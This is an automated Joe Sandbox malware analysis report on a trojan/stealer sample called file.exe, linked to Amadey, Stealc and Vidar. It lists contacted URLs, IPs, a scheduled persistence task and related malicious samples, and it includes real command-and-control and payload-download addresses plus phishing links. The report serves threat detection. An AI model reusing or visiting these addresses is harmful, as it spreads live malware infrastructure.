https://i.y.qq.com/n2/m/index.html	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://www.deezer.com/	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://web.telegram.org/	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://31.41.244.11/files/6015073251/uxN4wDZ.exeXYZ0123456789	skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.13.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	CGIDHIIJKEBGHJJKFIDA.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.13.dr	false		high
https://vibe.naver.com/today	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2457581164.00000000236AE000.00000004.00000020.00020000.00000000.sdmp, AEGHCFID.0.dr, EHIJDHCA.0.dr, Web Data.13.dr	false		high
http://nsis.sf.net/NSIS_ErrorError	skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp, tvtC9D3.exe, 0000001E.00000000.3383324374.000000000040A000.00000008.00000001.01000000.0000000F.sdmp, tvtC9D3.exe, 0000001E.00000002.3420942931.000000000040A000.00000004.00000001.01000000.0000000F.sdmp, tvtC9D3[1].exe.28.dr, tvtC9D3.exe.28.dr	false		high
https://assets.msn.com	c6bec959-c5a2-4426-b4a6-988c764e3531.tmp.14.dr	false		high
https://www.ecosia.org/newtab/	AEGHCFID.0.dr	false		high
http://194.15.46.189/letgrtsC1.rar	tvtC9D3.exe, 0000001E.00000002.3422195522.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.13.dr	false		high
https://excel.new?from=EdgeM365Shoreline	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FCAECAKKFBGCBGDGIEHCBKJJJE.0.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2677567170.00000000005C7000.00000040.00000001.01000000.00000003.sdmp	false		high
http://194.15.46.189/UnRAR.exe	bitsadmin.exe, 00000021.00000002.3421747870.0000000002F30000.00000004.00000020.00020000.00000000.sdmp, bitsadmin.exe, 00000021.00000002.3420899153.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.13.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_528.7.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.14.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll:J	file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/mozglue.dllTE	file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://194.15.46.189/UnRAR.exeC:	bitsadmin.exe, 00000021.00000002.3421747870.0000000002F37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome	content_new.js.13.dr, content.js.13.dr	false		high
https://www.tiktok.com/	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	FCAECAKKFBGCBGDGIEHCBKJJJE.0.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.13.dr	false		high
https://chromewebstore.google.com/	manifest.json.13.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.13.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.13.dr	false		high
https://msn.comXIDv10	Cookies.14.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpP	file.exe, 00000000.00000002.2679757495.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpIEBKEG.exeata;	file.exe, 00000000.00000002.2677567170.00000000005C7000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://chrome.google.com/webstore/	manifest.json.13.dr	false		high
https://y.music.163.com/m/	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.php4%	file.exe, 00000000.00000002.2709780978.0000000023703000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bard.google.com/	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.13.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2709780978.0000000023703000.00000004.00000020.00020000.00000000.sdmp, CGIDHIIJKEBGHJJKFIDA.0.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://web.whatsapp.com	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpT	skotes.exe, 0000001C.00000002.3422980977.000000000152B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dll:H	file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://m.kugou.com/	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2679757495.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://outlook.live.com/mail/0/	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpb	file.exe, 00000000.00000002.2679757495.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.13.dr, 000003.log0.13.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.13.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
8.8.8.8	unknown	United States	15169	GOOGLEUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.147	unknown	United States	35994	AKAMAI-ASUS	false
23.57.90.148	unknown	United States	35994	AKAMAI-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.117.182.59	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
18.244.18.27	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
20.189.173.10	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.209.72.14	unknown	United States	20940	AKAMAI-ASN1EU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.65.193	unknown	United States	15169	GOOGLEUS	false
18.173.132.98	unknown	United States	3	MIT-GATEWAYSUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
23.223.209.214	unknown	United States	16625	AKAMAI-ASUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564672
Start date and time:	2024-11-28 17:23:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@82/299@24/27
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 23.193.114.18, 172.217.19.238, 74.125.205.84, 216.58.208.227, 142.250.181.99, 34.104.35.123, 172.217.21.42, 142.250.181.10, 172.217.17.74, 142.250.181.138, 142.250.181.42, 172.217.19.202, 172.217.19.234, 172.217.17.42, 142.250.181.106, 172.217.19.10, 216.58.208.234, 172.217.19.170, 142.250.181.74, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 172.217.17.46, 13.107.6.158, 172.165.69.228, 2.16.34.27, 104.86.110.72, 172.165.61.93, 2.16.158.35, 2.16.158.48, 2.16.158.40, 2.16.158.50, 2.16.158.187, 2.16.158.27, 2.16.158.192, 2.16.158.26, 2.16.158.184, 23.32.238.9, 23.32.238.56, 23.32.238.48, 23.32.238.26, 2.19.198.211, 23.32.238.51, 23.32.238.17, 23.32.238.42, 23.32.238.27, 2.16.76.26, 2.21.67.57, 2.16.76.27, 2.21.67.64, 2.16.76.32, 13.74.129.1, 13.107.21.237, 204.79.197.237, 104.86.110.35, 104.86.110.75, 142.250.64.67, 142.251.41.3, 142.250.80.67
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, g.bing.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, ris.api.iris.microsoft.com, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, a1847.dscd.akamai.net, con
Execution Graph export aborted for target DocumentsGCFIIEBKEG.exe, PID 6724 because it is empty
Execution Graph export aborted for target bitsadmin.exe, PID 880 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 3160 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:24:39	API Interceptor	135x Sleep call for process: file.exe modified
11:26:02	API Interceptor	111x Sleep call for process: skotes.exe modified
17:25:00	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plus.l.google.com	file.exe	Get hash	malicious	Cryptbot	Browse	172.217.17.46
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	https://important-wholesale-dress.glitch.me#clerk@tkbtc.co.uk	Get hash	malicious	Unknown	Browse	172.217.17.78
	https://protect.checkpoint.com/v2/r01/___https://clickeu.actmkt.com/xd5/7-ai55b68h-a5f~-96gf-biba-/k~6/~c/kjha?jsw=sffmnfizfgDff9Dfmnfh~fgufgzvf8vfrvfmlfinfgvvf9vfrzflxfitfgyvfqvfunfihfgyffCff/Dfrzfljfgtfgwvf8Dftnflpfgtfg8vf7nfsDflnfiufg8vf9DfkDfl9fikfg7ffqDfuvfl7figfgCffDnfr9flpfixfgfff7ffsjflDfirfgEvf7nfrvflpfisfgvvf8vfs9fmjfisfgzffqvfrrfl~fisfg~ffsvfuvfmDfgvff7vfrvfkzfitfijffDffrffmffihfgyfgwvfqnfl9fiffigff8ffqnflvfihfihfgvvfqnfmfflnfgDff8vfqnflzflrfgBffDvfsnflDfixfgAfgyffEnfrrfitfi9ffDffsnfmjfh7fihffDvfDDfmffinfgBfgxvfsvfkzfixfgBff8vfrDfkzfinfgAfgyffEnfkzfivfgxfgxvfsDfkzflrfgDfgxvfEvfrzfinfikfgyffDvfl9fijfgyfg~ffrfflffihfgsfgwvfrvfrnfijfgCfgxvfsnfrnfh7fgEff7vfDDflzfh7fgzfgwvfDDfl9fh7fgDfgwvfrnfrnfh7fgBffEvftfflnfllfgDff7ffrvfrzfirfgDffEffaffuvfjhfi9ff======___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOmU5NWQ1OTExMDQ0MDM5ZDVmOTk5YjgzYjgyMjAxZWRkOjc6NTcyMTo1ODgxYzMwZGRlNTA5YjA2OWZhMzE2N2MyM2ZmM2QwNDIwNjljYmQzMjEwZWZkMDc4MWNmNTg2NmRmNjE2YmZkOmg6VDpU	Get hash	malicious	Unknown	Browse	172.217.17.78
	https://important-wholesale-dress.glitch.me#clerk@tkbtc.co.uk	Get hash	malicious	Unknown	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.78
	file.exe	Get hash	malicious	Cryptbot	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	http://cpeciadogfoods.com	Get hash	malicious	Unknown	Browse	172.217.17.78
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	172.64.41.3
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	94.245.104.56
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.82.174
	https://application-workspace.com/red-bull/id-38772	Get hash	malicious	Unknown	Browse	104.26.9.44
	https://share.fremontpeak.org/___.YzJ1OmNvZ2l3ZWIyOmM6bzpiNTEyZDAxNmZiN2I1MjU1MmE3OTQzOTdiZmE2NWEzZjo3OmQ0ZjU6ZDQ4OTQ1MWM1NjM2NzgxOWI0N2UyODgzNmYwYzIzOTkxYjZmOTA5ZjUyY2M5MTJiN2UzZTBiMmYwOTQ5NzhhNTpoOlQ6Tg	Get hash	malicious	Unknown	Browse	104.21.12.15
	CC_scan.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	104.21.44.88
	file.exe	Get hash	malicious	Unknown	Browse	172.67.156.11
	file.exe	Get hash	malicious	Unknown	Browse	172.67.156.11
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	1.4.26.69
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.93.105
	kkONDh91ic.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.70.247
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	loligang.mips-20241128-1536.elf	Get hash	malicious	Mirai	Browse	104.211.231.234
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	20.34.247.95
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	104.47.35.154
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	157.55.40.167
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	40.114.236.126
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	65.52.116.203
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	40.111.155.160
	CORREIO BCV.zip.html	Get hash	malicious	Unknown	Browse	20.233.83.145
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.75.60.91
	botx.mips.elf	Get hash	malicious	Mirai	Browse	52.177.73.32

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://application-workspace.com/red-bull/id-38772	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.181.5 13.107.246.63 2.18.82.9
	https://share.fremontpeak.org/___.YzJ1OmNvZ2l3ZWIyOmM6bzpiNTEyZDAxNmZiN2I1MjU1MmE3OTQzOTdiZmE2NWEzZjo3OmQ0ZjU6ZDQ4OTQ1MWM1NjM2NzgxOWI0N2UyODgzNmYwYzIzOTkxYjZmOTA5ZjUyY2M5MTJiN2UzZTBiMmYwOTQ5NzhhNTpoOlQ6Tg	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.181.5 13.107.246.63 2.18.82.9
	CC_scan.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.181.5 13.107.246.63 2.18.82.9
	https://www.google.rs/url?q=792CHARtTPSJ3J3wDyycT&sa=t&esrc=gxOmmFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=HARlDJVS0YXpPkDfJ6C&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/ezraandhermes.com/bdman/authfyz//ylJB8Cet6FqlPfuIplTD1PwC/Z3JlZ29yeS5jYXJsdWNjaUBtYWxsaW5ja3JvZHQuY29t	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.181.5 13.107.246.63 2.18.82.9
	file.exe	Get hash	malicious	Cryptbot	Browse	52.149.20.212 20.190.181.5 13.107.246.63 2.18.82.9
	http://theluckyhouse.vn/dnkdl	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.181.5 13.107.246.63 2.18.82.9
	http://englobe.infralogin.com/passresetconfirm/ODA0MDY/6qb-fdbad004345ade5cc1bb/	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.181.5 13.107.246.63 2.18.82.9
	CORREIO BCV.zip.html	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.181.5 13.107.246.63 2.18.82.9
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.149.20.212 20.190.181.5 13.107.246.63 2.18.82.9
	https://cmd-autenticacaogov.com/	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.181.5 13.107.246.63 2.18.82.9
6271f898ce5be7dd52b0fc260d0662b3	https://application-workspace.com/red-bull/id-38772	Get hash	malicious	Unknown	Browse	150.171.27.10 20.234.120.54 2.16.158.75 150.171.28.10 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.234.120.54 2.16.158.75 150.171.28.10 20.223.35.26
	Scan_6090402.pdf	Get hash	malicious	Unknown	Browse	150.171.27.10 20.234.120.54 2.16.158.75 150.171.28.10 20.223.35.26
	No. I20220052.exe	Get hash	malicious	FormBook	Browse	150.171.27.10 20.234.120.54 2.16.158.75 150.171.28.10 20.223.35.26
	https://www.google.rs/url?q=160CHARtTPSJ3J3wDyycT&sa=t&esrc=TYsrCFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=HARlDJVS0YXpPkDfJ6C&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/aloperdehatti.com/on/wTARVgfa92/%61%6C%65%73%73%69%61%2E%64%61%6E%69%65%6C%65%40%74%6F%6E%69%6E%63%61%73%61%2E%69%74&ugs=n8CoFFz5hZ4Yaxn3ZJryvKlaQxQ-BOyvjZ0GlahI9shjnWfTZ1du_w==	Get hash	malicious	Unknown	Browse	150.171.27.10 20.234.120.54 2.16.158.75 150.171.28.10 20.223.35.26
	invoice-1664809283.pdf .js	Get hash	malicious	RHADAMANTHYS	Browse	150.171.27.10 20.234.120.54 2.16.158.75 150.171.28.10 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.234.120.54 2.16.158.75 150.171.28.10 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.234.120.54 2.16.158.75 150.171.28.10 20.223.35.26
	https://clickme.thryv.com/ls/click?upn=u001.5-2B1Zlj-2BwCegXqgd6Um7kY0JRT8UgUE3u1rWR4YFASxlUU28BkvglW4Sw74FAirirfRSk_jzclrAiO28PBUU1ZLf2yC1YJEF5Rt8zDnz4yKbEuFqXf3c0fVOhzL2fXxOYix3CjCrzlLwoIPSXb9PavK50mtpdK-2FWF7thydb3q6E5ptEQjRRfcuGnHeO06MZmpQ9Md6EqF3tHpTnJtwnRl07eBC-2BbeqGDZkqEsFQ9fh8CwKb92GLRs9xjA4K3L0qiP8u-2BrdM8wHoplpWV7e4Ic88yYySdEC6BFxZgKH7uN8ysaI5ELMcoW165-2BlUHwvAK7b88Y-2FPYUokK9PeBa-2FcZkvlS9nh3pVTeDrVNhWWvISMX1rFpeltySyG2xWyMwf0YLv9gS0X1AE0s7oDERqOcaTwfLsXQxoV99DX1bVNLU7d5FQCgc-3D#C?email=heath.teresa@aidb.org	Get hash	malicious	Unknown	Browse	150.171.27.10 20.234.120.54 2.16.158.75 150.171.28.10 20.223.35.26
	Order Summary.xls	Get hash	malicious	Unknown	Browse	150.171.27.10 20.234.120.54 2.16.158.75 150.171.28.10 20.223.35.26
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.119.84
	UltraViewer_setup_6.6_en.zip	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.119.84
	createdgoodthingsfor.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	20.198.119.143 20.198.119.84
	5c13e6.msi	Get hash	malicious	AteraAgent	Browse	20.198.119.143 20.198.119.84
	Scan_6090402.pdf	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.119.84
	inseminating.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	20.198.119.143 20.198.119.84
